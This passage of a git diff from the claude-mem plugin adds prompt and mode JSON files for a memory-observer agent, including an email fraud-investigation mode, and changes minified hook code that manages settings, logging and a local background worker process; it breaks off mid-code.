tool for creating searchable memory FOR FUTURE SESSIONS.\n\nCRITICAL: Record what was LEARNED/BUILT/FIXED/DEPLOYED/CONFIGURED, not what you (the observer) are doing.\n\nYou do not have access to tools. All information you need is provided in messages. Create observations from what you observe - no investigation needed.", + "spatial_awareness": "SPATIAL AWARENESS: Tool executions include the working directory (tool_cwd) to help you understand:\n- Which repository/project is being worked on\n- Where files are located relative to the project root\n- How to match requested paths to actual execution paths", + "observer_role": "Your job is to monitor a different Claude Code session happening RIGHT NOW, with the goal of creating observations and progress summaries as the work is being done LIVE by the user. You are NOT the one doing the work - you are ONLY observing and recording what is being built, fixed, deployed, or configured in the other session.", + "recording_focus": "WHAT TO RECORD\n--------------\nFocus on deliverables and capabilities:\n- What the system NOW DOES differently (new capabilities)\n- What shipped to users/production (features, fixes, configs, docs)\n- Changes in technical domains (auth, data, UI, infra, DevOps, docs)\n\nUse verbs like: implemented, fixed, deployed, configured, migrated, optimized, added, refactored\n\n✅ GOOD EXAMPLES (describes what was built):\n- \"Authentication now supports OAuth2 with PKCE flow\"\n- \"Deployment pipeline runs canary releases with auto-rollback\"\n- \"Database indexes optimized for common query patterns\"\n\n❌ BAD EXAMPLES (describes observation process - DO NOT DO THIS):\n- \"Analyzed authentication implementation and stored findings\"\n- \"Tracked deployment steps and logged outcomes\"\n- \"Monitored database performance and recorded metrics\"", + "skip_guidance": "WHEN TO SKIP\n------------\nSkip routine operations:\n- Empty status checks\n- Package installations with no errors\n- Simple file listings\n- Repetitive operations you've already documented\n- If file related research comes back as empty or not found\n- **No output necessary if skipping.**", + "type_guidance": "**type**: MUST be EXACTLY one of these 6 options (no other values allowed):\n - bugfix: something was broken, now fixed\n - feature: new capability or functionality added\n - refactor: code restructured, behavior unchanged\n - change: generic modification (docs, config, misc)\n - discovery: learning about existing system\n - decision: architectural/design choice with rationale", + "concept_guidance": "**concepts**: 2-5 knowledge-type categories. MUST use ONLY these exact keywords:\n - how-it-works: understanding mechanisms\n - why-it-exists: purpose or rationale\n - what-changed: modifications made\n - problem-solution: issues and their fixes\n - gotcha: traps or edge cases\n - pattern: reusable approach\n - trade-off: pros/cons of a decision\n\n IMPORTANT: Do NOT include the observation type (change/discovery/decision) as a concept.\n Types and concepts are separate dimensions.", + "field_guidance": "**facts**: Concise, self-contained statements\nEach fact is ONE piece of information\n No pronouns - each fact must stand alone\n Include specific details: filenames, functions, values\n\n**files**: All files touched (full paths from project root)", + "output_format_header": "OUTPUT FORMAT\n-------------\nOutput observations using this XML structure:", + "format_examples": "", + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!", + + "xml_title_placeholder": "[**title**: Short title capturing the core action or topic]", + "xml_subtitle_placeholder": "[**subtitle**: One sentence explanation (max 24 words)]", + "xml_fact_placeholder": "[Concise, self-contained statement]", + "xml_narrative_placeholder": "[**narrative**: Full context: What was done, how it works, why it matters]", + "xml_concept_placeholder": "[knowledge-type-category]", + "xml_file_placeholder": "[path/to/file]", + + "xml_summary_request_placeholder": "[Short title capturing the user's request AND the substance of what was discussed/done]", + "xml_summary_investigated_placeholder": "[What has been explored so far? What was examined?]", + "xml_summary_learned_placeholder": "[What have you learned about how things work?]", + "xml_summary_completed_placeholder": "[What work has been completed so far? What has shipped or changed?]", + "xml_summary_next_steps_placeholder": "[What are you actively working on or planning to work on next in this session?]", + "xml_summary_notes_placeholder": "[Additional insights or observations about the current progress]", + + "header_memory_start": "MEMORY PROCESSING START\n=======================", + "header_memory_continued": "MEMORY PROCESSING CONTINUED\n===========================", + "header_summary_checkpoint": "PROGRESS SUMMARY CHECKPOINT\n===========================", + + "continuation_greeting": "Hello memory agent, you are continuing to observe the primary Claude session.", + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.", + + "summary_instruction": "Write progress notes of what was done, what was learned, and what's next. This is a checkpoint to capture progress so far. The session is ongoing - you may receive more requests and tool executions after this summary. Write \"next_steps\" as the current trajectory of work (what's actively being worked on or coming up next), not as post-session future work. Always write at least a minimal summary explaining current progress, even if work is still in early stages, so that users see a summary output tied to each request.", + "summary_context_label": "Claude's Full Response to User:", + "summary_format_instruction": "Respond in this XML format:", + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!" + } +} \ No newline at end of file diff --git a/plugin/modes/email-investigation.json b/plugin/modes/email-investigation.json new file mode 100644 index 00000000..f08cb8f9 --- /dev/null +++ b/plugin/modes/email-investigation.json @@ -0,0 +1,115 @@ +{ + "name": "Email Investigation", + "description": "RAGTIME-style email fraud investigation", + "version": "1.0.0", + "observation_types": [ + { + "id": "entity", + "label": "Entity Discovery", + "description": "New person, organization, or email address identified", + "emoji": "👤", + "work_emoji": "🔍" + }, + { + "id": "relationship", + "label": "Relationship", + "description": "Connection between entities discovered", + "emoji": "🔗", + "work_emoji": "🔍" + }, + { + "id": "timeline-event", + "label": "Timeline Event", + "description": "Time-stamped event in communication sequence", + "emoji": "📅", + "work_emoji": "🔍" + }, + { + "id": "evidence", + "label": "Evidence", + "description": "Supporting documentation or proof discovered", + "emoji": "📄", + "work_emoji": "📋" + }, + { + "id": "anomaly", + "label": "Anomaly", + "description": "Suspicious pattern or irregularity detected", + "emoji": "⚠️", + "work_emoji": "🔍" + }, + { + "id": "conclusion", + "label": "Conclusion", + "description": "Investigative finding or determination", + "emoji": "⚖️", + "work_emoji": "⚖️" + } + ], + "observation_concepts": [ + { + "id": "who", + "label": "Who", + "description": "People and organizations involved" + }, + { + "id": "when", + "label": "When", + "description": "Timing and sequence of events" + }, + { + "id": "what-happened", + "label": "What Happened", + "description": "Events and communications" + }, + { + "id": "motive", + "label": "Motive", + "description": "Intent or purpose behind actions" + }, + { + "id": "red-flag", + "label": "Red Flag", + "description": "Warning signs of fraud or deception" + }, + { + "id": "corroboration", + "label": "Corroboration", + "description": "Evidence supporting a claim" + } + ], + "prompts": { + "system_identity": "You are a Claude-Mem, a specialized observer tool for creating searchable memory FOR FUTURE SESSIONS.\n\nCRITICAL: Record what was DISCOVERED/IDENTIFIED/REVEALED about the investigation, not what you (the observer) are doing.\n\nYou do not have access to tools. All information you need is provided in messages. Create observations from what you observe - no investigation needed.", + "spatial_awareness": "SPATIAL AWARENESS: Tool executions include the working directory (tool_cwd) to help you understand:\n- Which investigation folder/project is being worked on\n- Where email files are located relative to the project root\n- How to match requested paths to actual execution paths", + "observer_role": "Your job is to monitor an email fraud investigation happening RIGHT NOW, with the goal of creating observations about entities, relationships, timeline events, and evidence as they are discovered LIVE. You are NOT conducting the investigation - you are ONLY observing and recording what is being discovered.", + "recording_focus": "WHAT TO RECORD\n--------------\nFocus on investigative elements:\n- New entities discovered (people, organizations, email addresses)\n- Relationships between entities (who contacted whom, organizational ties)\n- Timeline events (when things happened, communication sequences)\n- Evidence supporting or refuting fraud patterns\n- Anomalies or red flags detected\n\nUse verbs like: identified, discovered, revealed, detected, corroborated, confirmed\n\n✅ GOOD EXAMPLES (describes what was discovered):\n- \"John Smith sent 15 emails requesting wire transfers\"\n- \"Timeline reveals communication pattern between suspicious accounts\"\n- \"Email headers show spoofed sender domain\"\n\n❌ BAD EXAMPLES (describes observation process - DO NOT DO THIS):\n- \"Analyzed email headers and recorded findings\"\n- \"Tracked communication patterns and logged results\"\n- \"Monitored entity relationships and stored data\"", + "skip_guidance": "WHEN TO SKIP\n------------\nSkip routine operations:\n- Empty searches with no results\n- Simple file listings\n- Repetitive operations you've already documented\n- If email research comes back as empty or not found\n- **No output necessary if skipping.**", + "type_guidance": "**type**: MUST be EXACTLY one of these options:\n - entity: new person, organization, or email address identified\n - relationship: connection between entities discovered\n - timeline-event: time-stamped event in communication sequence\n - evidence: supporting documentation or proof discovered\n - anomaly: suspicious pattern or irregularity detected\n - conclusion: investigative finding or determination", + "concept_guidance": "**concepts**: 2-5 knowledge-type categories. MUST use ONLY these exact keywords:\n - who: people and organizations involved\n - when: timing and sequence of events\n - what-happened: events and communications\n - motive: intent or purpose behind actions\n - red-flag: warning signs of fraud or deception\n - corroboration: evidence supporting a claim", + "field_guidance": "**facts**: Concise, self-contained statements about entities and events\n Each fact is ONE piece of information\n No pronouns - each fact must stand alone\n ALWAYS use \"Full Name \" format for people\n Include specific details: timestamps, email addresses, relationships\n\n**files**: All email files, documents, or evidence files examined (full paths)", + "output_format_header": "OUTPUT FORMAT\n-------------\nOutput observations using this XML structure:", + "format_examples": "**Entity Format Examples:**\nWhen recording people, ALWAYS use: \"Full Name \"\n\n\n entity\n John Smith <john.smith@example.com> identified as sender\n \n John Smith sent 15 emails to Jane Doe \n Email address john.smith@example.com registered to Acme Corp\n \n John Smith appears frequently in the email chain...\n", + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT investigation session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations to help track investigation progress and keep important findings at the forefront! Thank you for your help!", + + "xml_title_placeholder": "[**title**: Short title of the entity/event/finding]", + "xml_subtitle_placeholder": "[**subtitle**: Brief explanation (max 24 words)]", + "xml_fact_placeholder": "[Concise, self-contained statement using Full Name format]", + "xml_narrative_placeholder": "[**narrative**: Full context: What was discovered, how it connects, why it matters]", + "xml_concept_placeholder": "[knowledge-type-category]", + "xml_file_placeholder": "[path/to/email/file]", + + "xml_summary_request_placeholder": "[Short title capturing the investigation request AND what was discovered]", + "xml_summary_investigated_placeholder": "[What entities/emails/evidence have been examined?]", + "xml_summary_learned_placeholder": "[What have you learned about the case?]", + "xml_summary_completed_placeholder": "[What investigative work has been completed? What findings emerged?]", + "xml_summary_next_steps_placeholder": "[What investigation steps are you working on next?]", + "xml_summary_notes_placeholder": "[Additional insights or observations about the investigation progress]", + + "header_memory_start": "INVESTIGATION MEMORY START\n==========================", + "header_memory_continued": "INVESTIGATION MEMORY CONTINUED\n==============================", + "header_summary_checkpoint": "INVESTIGATION SUMMARY CHECKPOINT\n================================", + + "continuation_greeting": "Hello memory agent, you are continuing to observe the email fraud investigation session.", + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below." + } +} diff --git a/plugin/scripts/cleanup-hook.js b/plugin/scripts/cleanup-hook.js index 73ee904a..7b7036a0 100755 --- a/plugin/scripts/cleanup-hook.js +++ b/plugin/scripts/cleanup-hook.js @@ -1,22 +1,22 @@ #!/usr/bin/env bun -import{stdin as v}from"process";import D from"path";import{homedir as St}from"os";import{spawnSync as _t}from"child_process";import{existsSync as Tt,writeFileSync as V,readFileSync as ht,mkdirSync as Ot}from"fs";import{readFileSync as Z,writeFileSync as tt,existsSync as et}from"fs";import{join as rt}from"path";import{homedir as nt}from"os";var z=["bugfix","feature","refactor","discovery","decision","change"],Q=["how-it-works","why-it-exists","what-changed","problem-solution","gotcha","pattern","trade-off"];var $=z.join(","),x=Q.join(",");var l=class{static DEFAULTS={CLAUDE_MEM_MODEL:"claude-sonnet-4-5",CLAUDE_MEM_CONTEXT_OBSERVATIONS:"50",CLAUDE_MEM_WORKER_PORT:"37777",CLAUDE_MEM_WORKER_HOST:"127.0.0.1",CLAUDE_MEM_SKIP_TOOLS:"ListMcpResourcesTool,SlashCommand,Skill,TodoWrite,AskUserQuestion",CLAUDE_MEM_DATA_DIR:rt(nt(),".claude-mem"),CLAUDE_MEM_LOG_LEVEL:"INFO",CLAUDE_MEM_PYTHON_VERSION:"3.13",CLAUDE_CODE_PATH:"",CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT:"true",CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES:$,CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS:x,CLAUDE_MEM_CONTEXT_FULL_COUNT:"5",CLAUDE_MEM_CONTEXT_FULL_FIELD:"narrative",CLAUDE_MEM_CONTEXT_SESSION_COUNT:"10",CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY:"true",CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE:"false"};static getAllDefaults(){return{...this.DEFAULTS}}static get(t){return this.DEFAULTS[t]}static getInt(t){let e=this.get(t);return parseInt(e,10)}static getBool(t){return this.get(t)==="true"}static loadFromFile(t){try{if(!et(t))return this.getAllDefaults();let e=Z(t,"utf-8"),r=JSON.parse(e),n=r;if(r.env&&typeof r.env=="object"){n=r.env;try{tt(t,JSON.stringify(n,null,2),"utf-8"),u.info("SETTINGS","Migrated settings file from nested to flat schema",{settingsPath:t})}catch(i){u.warn("SETTINGS","Failed to auto-migrate settings file",{settingsPath:t},i)}}let o={...this.DEFAULTS};for(let i of Object.keys(this.DEFAULTS))n[i]!==void 0&&(o[i]=n[i]);return o}catch(e){return u.warn("SETTINGS","Failed to load settings, using defaults",{settingsPath:t},e),this.getAllDefaults()}}};var C=(o=>(o[o.DEBUG=0]="DEBUG",o[o.INFO=1]="INFO",o[o.WARN=2]="WARN",o[o.ERROR=3]="ERROR",o[o.SILENT=4]="SILENT",o))(C||{}),M=class{level=null;useColor;constructor(){this.useColor=process.stdout.isTTY??!1}getLevel(){if(this.level===null){let t=l.get("CLAUDE_MEM_LOG_LEVEL").toUpperCase();this.level=C[t]??1}return this.level}correlationId(t,e){return`obs-${t}-${e}`}sessionId(t){return`session-${t}`}formatData(t){if(t==null)return"";if(typeof t=="string")return t;if(typeof t=="number"||typeof t=="boolean")return t.toString();if(typeof t=="object"){if(t instanceof Error)return this.getLevel()===0?`${t.message} -${t.stack}`:t.message;if(Array.isArray(t))return`[${t.length} items]`;let e=Object.keys(t);return e.length===0?"{}":e.length<=3?JSON.stringify(t):`{${e.length} keys: ${e.slice(0,3).join(", ")}...}`}return String(t)}formatTool(t,e){if(!e)return t;try{let r=typeof e=="string"?JSON.parse(e):e;if(t==="Bash"&&r.command)return`${t}(${r.command})`;if(r.file_path)return`${t}(${r.file_path})`;if(r.notebook_path)return`${t}(${r.notebook_path})`;if(t==="Glob"&&r.pattern)return`${t}(${r.pattern})`;if(t==="Grep"&&r.pattern)return`${t}(${r.pattern})`;if(r.url)return`${t}(${r.url})`;if(r.query)return`${t}(${r.query})`;if(t==="Task"){if(r.subagent_type)return`${t}(${r.subagent_type})`;if(r.description)return`${t}(${r.description})`}return t==="Skill"&&r.skill?`${t}(${r.skill})`:t==="LSP"&&r.operation?`${t}(${r.operation})`:t}catch{return t}}formatTimestamp(t){let e=t.getFullYear(),r=String(t.getMonth()+1).padStart(2,"0"),n=String(t.getDate()).padStart(2,"0"),o=String(t.getHours()).padStart(2,"0"),i=String(t.getMinutes()).padStart(2,"0"),a=String(t.getSeconds()).padStart(2,"0"),c=String(t.getMilliseconds()).padStart(3,"0");return`${e}-${r}-${n} ${o}:${i}:${a}.${c}`}log(t,e,r,n,o){if(t0&&(E=` {${Object.entries(U).map(([J,q])=>`${J}=${q}`).join(", ")}}`)}let S=`[${i}] [${a}] [${c}] ${f}${r}${E}${m}`;t===3?console.error(S):console.log(S)}debug(t,e,r,n){this.log(0,t,e,r,n)}info(t,e,r,n){this.log(1,t,e,r,n)}warn(t,e,r,n){this.log(2,t,e,r,n)}error(t,e,r,n){this.log(3,t,e,r,n)}dataIn(t,e,r,n){this.info(t,`\u2192 ${e}`,r,n)}dataOut(t,e,r,n){this.info(t,`\u2190 ${e}`,r,n)}success(t,e,r,n){this.info(t,`\u2713 ${e}`,r,n)}failure(t,e,r,n){this.error(t,`\u2717 ${e}`,r,n)}timing(t,e,r,n){this.info(t,`\u23F1 ${e}`,n,{duration:`${r}ms`})}happyPathError(t,e,r,n,o=""){let f=((new Error().stack||"").split(` -`)[2]||"").match(/at\s+(?:.*\s+)?\(?([^:]+):(\d+):(\d+)\)?/),m=f?`${f[1].split("/").pop()}:${f[2]}`:"unknown",E={...r,location:m};return this.warn(t,`[HAPPY-PATH] ${e}`,E,n),o}},u=new M;var _={DEFAULT:5e3,HEALTH_CHECK:1e3,WORKER_STARTUP_WAIT:1e3,WORKER_STARTUP_RETRIES:15,PRE_RESTART_SETTLE_DELAY:2e3,WINDOWS_MULTIPLIER:1.5};function L(s){return process.platform==="win32"?Math.round(s*_.WINDOWS_MULTIPLIER):s}import{existsSync as y,readFileSync as lt,writeFileSync as pt,unlinkSync as gt,mkdirSync as H}from"fs";import{createWriteStream as ft}from"fs";import{join as h}from"path";import{spawn as dt,spawnSync as mt}from"child_process";import{homedir as Et}from"os";import{join as g,dirname as st,basename as Ft}from"path";import{homedir as ot}from"os";import{fileURLToPath as it}from"url";function at(){return typeof __dirname<"u"?__dirname:st(it(import.meta.url))}var Kt=at(),p=l.get("CLAUDE_MEM_DATA_DIR"),P=process.env.CLAUDE_CONFIG_DIR||g(ot(),".claude"),jt=g(p,"archives"),Gt=g(p,"logs"),Yt=g(p,"trash"),Xt=g(p,"backups"),Jt=g(p,"settings.json"),qt=g(p,"claude-mem.db"),zt=g(p,"vector-db"),Qt=g(P,"settings.json"),Zt=g(P,"commands"),te=g(P,"CLAUDE.md");import{spawnSync as ct}from"child_process";import{existsSync as ut}from"fs";import{join as N}from"path";import{homedir as F}from"os";function b(){let s=process.platform==="win32";try{if(ct("bun",["--version"],{encoding:"utf-8",stdio:["pipe","pipe","pipe"],shell:!1}).status===0)return"bun"}catch{}let t=s?[N(F(),".bun","bin","bun.exe")]:[N(F(),".bun","bin","bun"),"/usr/local/bin/bun","/opt/homebrew/bin/bun","/home/linuxbrew/.linuxbrew/bin/bun"];for(let e of t)if(ut(e))return e;return null}function W(){return b()!==null}var T=h(p,"worker.pid"),B=h(p,"logs"),R=h(Et(),".claude","plugins","marketplaces","thedotmack"),O=class{static async start(t){if(isNaN(t)||t<1024||t>65535)return{success:!1,error:`Invalid port ${t}. Must be between 1024 and 65535`};if(await this.isRunning())return{success:!0,pid:this.getPidInfo()?.pid};H(B,{recursive:!0});let e=process.platform==="win32"?"worker-wrapper.cjs":"worker-service.cjs",r=h(R,"plugin","scripts",e);if(!y(r))return{success:!1,error:`Worker script not found at ${r}`};let n=this.getLogFilePath();return this.startWithBun(r,n,t)}static isBunAvailable(){return W()}static escapePowerShellString(t){return t.replace(/'/g,"''")}static async startWithBun(t,e,r){let n=b();if(!n)return{success:!1,error:"Bun is required but not found in PATH or common installation paths. Install from https://bun.sh"};try{if(process.platform==="win32"){let i=this.escapePowerShellString(n),a=this.escapePowerShellString(t),c=this.escapePowerShellString(R),f=this.escapePowerShellString(e),E=`${`$env:CLAUDE_MEM_WORKER_PORT='${r}'`}; Start-Process -FilePath '${i}' -ArgumentList '${a}' -WorkingDirectory '${c}' -WindowStyle Hidden -RedirectStandardOutput '${f}' -RedirectStandardError '${f}.err' -PassThru | Select-Object -ExpandProperty Id`,S=mt("powershell",["-Command",E],{stdio:"pipe",timeout:1e4,windowsHide:!0});if(S.status!==0)return{success:!1,error:`PowerShell spawn failed: ${S.stderr?.toString()||"unknown error"}`};let A=parseInt(S.stdout.toString().trim(),10);return isNaN(A)?{success:!1,error:"Failed to get PID from PowerShell"}:(this.writePidFile({pid:A,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(A,r))}else{let i=dt(n,[t],{detached:!0,stdio:["ignore","pipe","pipe"],env:{...process.env,CLAUDE_MEM_WORKER_PORT:String(r)},cwd:R}),a=ft(e,{flags:"a"});return i.stdout?.pipe(a),i.stderr?.pipe(a),i.unref(),i.pid?(this.writePidFile({pid:i.pid,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(i.pid,r)):{success:!1,error:"Failed to get PID from spawned process"}}}catch(o){return{success:!1,error:o instanceof Error?o.message:String(o)}}}static async stop(t=5e3){let e=this.getPidInfo();if(process.platform==="win32"){let r=e?.port??this.getPortFromSettings();if(await this.tryHttpShutdown(r))return this.removePidFile(),!0;if(!e)return!0;let{execSync:o}=await import("child_process");try{o(`taskkill /PID ${e.pid} /T /F`,{timeout:1e4,stdio:"ignore"})}catch{}try{await this.waitForExit(e.pid,t)}catch{}return this.isProcessAlive(e.pid)||this.removePidFile(),!0}else{if(!e)return!0;try{process.kill(e.pid,"SIGTERM"),await this.waitForExit(e.pid,t)}catch{try{process.kill(e.pid,"SIGKILL")}catch{}}return this.removePidFile(),!0}}static async restart(t){return await this.stop(),this.start(t)}static async status(){let t=this.getPidInfo();if(!t)return{running:!1};let e=this.isProcessAlive(t.pid);return{running:e,pid:e?t.pid:void 0,port:e?t.port:void 0,uptime:e?this.formatUptime(t.startedAt):void 0}}static async isRunning(){let t=this.getPidInfo();if(!t)return!1;let e=this.isProcessAlive(t.pid);return e||this.removePidFile(),e}static getPortFromSettings(){try{let t=h(p,"settings.json"),e=l.loadFromFile(t);return parseInt(e.CLAUDE_MEM_WORKER_PORT,10)}catch{return parseInt(l.get("CLAUDE_MEM_WORKER_PORT"),10)}}static async tryHttpShutdown(t){try{return(await fetch(`http://127.0.0.1:${t}/api/admin/shutdown`,{method:"POST",signal:AbortSignal.timeout(2e3)})).ok?await this.waitForWorkerDown(t,5e3):!1}catch{return!1}}static async waitForWorkerDown(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(n,100))}catch{return!0}return!1}static getPidInfo(){try{if(!y(T))return null;let t=lt(T,"utf-8"),e=JSON.parse(t);return typeof e.pid!="number"||typeof e.port!="number"?(logger.warn("PROCESS","Malformed PID file: missing or invalid pid/port fields",{},{parsed:e}),null):e}catch(t){return logger.warn("PROCESS","Failed to read PID file",{},{error:t instanceof Error?t.message:String(t),path:T}),null}}static writePidFile(t){H(p,{recursive:!0}),pt(T,JSON.stringify(t,null,2))}static removePidFile(){try{y(T)&>(T)}catch{}}static isProcessAlive(t){try{return process.kill(t,0),!0}catch{return!1}}static async waitForHealth(t,e,r=1e4){let n=Date.now(),o=process.platform==="win32",i=o?r*2:r;for(;Date.now()-n(s[s.DEBUG=0]="DEBUG",s[s.INFO=1]="INFO",s[s.WARN=2]="WARN",s[s.ERROR=3]="ERROR",s[s.SILENT=4]="SILENT",s))(C||{}),M=class{level=null;useColor;constructor(){this.useColor=process.stdout.isTTY??!1}getLevel(){if(this.level===null){let t=u.get("CLAUDE_MEM_LOG_LEVEL").toUpperCase();this.level=C[t]??1}return this.level}correlationId(t,e){return`obs-${t}-${e}`}sessionId(t){return`session-${t}`}formatData(t){if(t==null)return"";if(typeof t=="string")return t;if(typeof t=="number"||typeof t=="boolean")return t.toString();if(typeof t=="object"){if(t instanceof Error)return this.getLevel()===0?`${t.message} +${t.stack}`:t.message;if(Array.isArray(t))return`[${t.length} items]`;let e=Object.keys(t);return e.length===0?"{}":e.length<=3?JSON.stringify(t):`{${e.length} keys: ${e.slice(0,3).join(", ")}...}`}return String(t)}formatTool(t,e){if(!e)return t;let r=typeof e=="string"?JSON.parse(e):e;if(t==="Bash"&&r.command)return`${t}(${r.command})`;if(r.file_path)return`${t}(${r.file_path})`;if(r.notebook_path)return`${t}(${r.notebook_path})`;if(t==="Glob"&&r.pattern)return`${t}(${r.pattern})`;if(t==="Grep"&&r.pattern)return`${t}(${r.pattern})`;if(r.url)return`${t}(${r.url})`;if(r.query)return`${t}(${r.query})`;if(t==="Task"){if(r.subagent_type)return`${t}(${r.subagent_type})`;if(r.description)return`${t}(${r.description})`}return t==="Skill"&&r.skill?`${t}(${r.skill})`:t==="LSP"&&r.operation?`${t}(${r.operation})`:t}formatTimestamp(t){let e=t.getFullYear(),r=String(t.getMonth()+1).padStart(2,"0"),n=String(t.getDate()).padStart(2,"0"),s=String(t.getHours()).padStart(2,"0"),i=String(t.getMinutes()).padStart(2,"0"),a=String(t.getSeconds()).padStart(2,"0"),c=String(t.getMilliseconds()).padStart(3,"0");return`${e}-${r}-${n} ${s}:${i}:${a}.${c}`}log(t,e,r,n,s){if(t0&&(E=` {${Object.entries($).map(([Y,J])=>`${Y}=${J}`).join(", ")}}`)}let S=`[${i}] [${a}] [${c}] ${f}${r}${E}${m}`;t===3?console.error(S):console.log(S)}debug(t,e,r,n){this.log(0,t,e,r,n)}info(t,e,r,n){this.log(1,t,e,r,n)}warn(t,e,r,n){this.log(2,t,e,r,n)}error(t,e,r,n){this.log(3,t,e,r,n)}dataIn(t,e,r,n){this.info(t,`\u2192 ${e}`,r,n)}dataOut(t,e,r,n){this.info(t,`\u2190 ${e}`,r,n)}success(t,e,r,n){this.info(t,`\u2713 ${e}`,r,n)}failure(t,e,r,n){this.error(t,`\u2717 ${e}`,r,n)}timing(t,e,r,n){this.info(t,`\u23F1 ${e}`,n,{duration:`${r}ms`})}happyPathError(t,e,r,n,s=""){let f=((new Error().stack||"").split(` +`)[2]||"").match(/at\s+(?:.*\s+)?\(?([^:]+):(\d+):(\d+)\)?/),m=f?`${f[1].split("/").pop()}:${f[2]}`:"unknown",E={...r,location:m};return this.warn(t,`[HAPPY-PATH] ${e}`,E,n),s}},g=new M;var _={DEFAULT:5e3,HEALTH_CHECK:1e3,WORKER_STARTUP_WAIT:1e3,WORKER_STARTUP_RETRIES:15,PRE_RESTART_SETTLE_DELAY:2e3,WINDOWS_MULTIPLIER:1.5};function L(o){return process.platform==="win32"?Math.round(o*_.WINDOWS_MULTIPLIER):o}import{existsSync as R,readFileSync as at,writeFileSync as ct,unlinkSync as ut,mkdirSync as H}from"fs";import{createWriteStream as lt}from"fs";import{join as T}from"path";import{spawn as pt,spawnSync as ft}from"child_process";import{homedir as gt}from"os";import{join as p,dirname as et,basename as xt}from"path";import{homedir as rt}from"os";import{fileURLToPath as nt}from"url";function st(){return typeof __dirname<"u"?__dirname:et(nt(import.meta.url))}var Kt=st(),l=u.get("CLAUDE_MEM_DATA_DIR"),P=process.env.CLAUDE_CONFIG_DIR||p(rt(),".claude"),Gt=p(l,"archives"),jt=p(l,"logs"),Bt=p(l,"trash"),Vt=p(l,"backups"),Xt=p(l,"modes"),Yt=p(l,"settings.json"),Jt=p(l,"claude-mem.db"),qt=p(l,"vector-db"),zt=p(P,"settings.json"),Qt=p(P,"commands"),Zt=p(P,"CLAUDE.md");import{spawnSync as ot}from"child_process";import{existsSync as it}from"fs";import{join as N}from"path";import{homedir as F}from"os";function b(){let o=process.platform==="win32";try{if(ot("bun",["--version"],{encoding:"utf-8",stdio:["pipe","pipe","pipe"],shell:!1}).status===0)return"bun"}catch{}let t=o?[N(F(),".bun","bin","bun.exe")]:[N(F(),".bun","bin","bun"),"/usr/local/bin/bun","/opt/homebrew/bin/bun","/home/linuxbrew/.linuxbrew/bin/bun"];for(let e of t)if(it(e))return e;return null}function W(){return b()!==null}var h=T(l,"worker.pid"),K=T(l,"logs"),k=T(gt(),".claude","plugins","marketplaces","thedotmack"),O=class{static async start(t){if(isNaN(t)||t<1024||t>65535)return{success:!1,error:`Invalid port ${t}. Must be between 1024 and 65535`};if(await this.isRunning())return{success:!0,pid:this.getPidInfo()?.pid};H(K,{recursive:!0});let e=process.platform==="win32"?"worker-wrapper.cjs":"worker-service.cjs",r=T(k,"plugin","scripts",e);if(!R(r))return{success:!1,error:`Worker script not found at ${r}`};let n=this.getLogFilePath();return this.startWithBun(r,n,t)}static isBunAvailable(){return W()}static escapePowerShellString(t){return t.replace(/'/g,"''")}static async startWithBun(t,e,r){let n=b();if(!n)return{success:!1,error:"Bun is required but not found in PATH or common installation paths. Install from https://bun.sh"};try{if(process.platform==="win32"){let i=this.escapePowerShellString(n),a=this.escapePowerShellString(t),c=this.escapePowerShellString(k),f=this.escapePowerShellString(e),E=`${`$env:CLAUDE_MEM_WORKER_PORT='${r}'`}; Start-Process -FilePath '${i}' -ArgumentList '${a}' -WorkingDirectory '${c}' -WindowStyle Hidden -RedirectStandardOutput '${f}' -RedirectStandardError '${f}.err' -PassThru | Select-Object -ExpandProperty Id`,S=ft("powershell",["-Command",E],{stdio:"pipe",timeout:1e4,windowsHide:!0});if(S.status!==0)return{success:!1,error:`PowerShell spawn failed: ${S.stderr?.toString()||"unknown error"}`};let w=parseInt(S.stdout.toString().trim(),10);return isNaN(w)?{success:!1,error:"Failed to get PID from PowerShell"}:(this.writePidFile({pid:w,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(w,r))}else{let i=pt(n,[t],{detached:!0,stdio:["ignore","pipe","pipe"],env:{...process.env,CLAUDE_MEM_WORKER_PORT:String(r)},cwd:k}),a=lt(e,{flags:"a"});return i.stdout?.pipe(a),i.stderr?.pipe(a),i.unref(),i.pid?(this.writePidFile({pid:i.pid,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(i.pid,r)):{success:!1,error:"Failed to get PID from spawned process"}}}catch(s){return{success:!1,error:s instanceof Error?s.message:String(s)}}}static async stop(t=5e3){let e=this.getPidInfo();if(process.platform==="win32"){let r=e?.port??this.getPortFromSettings();if(await 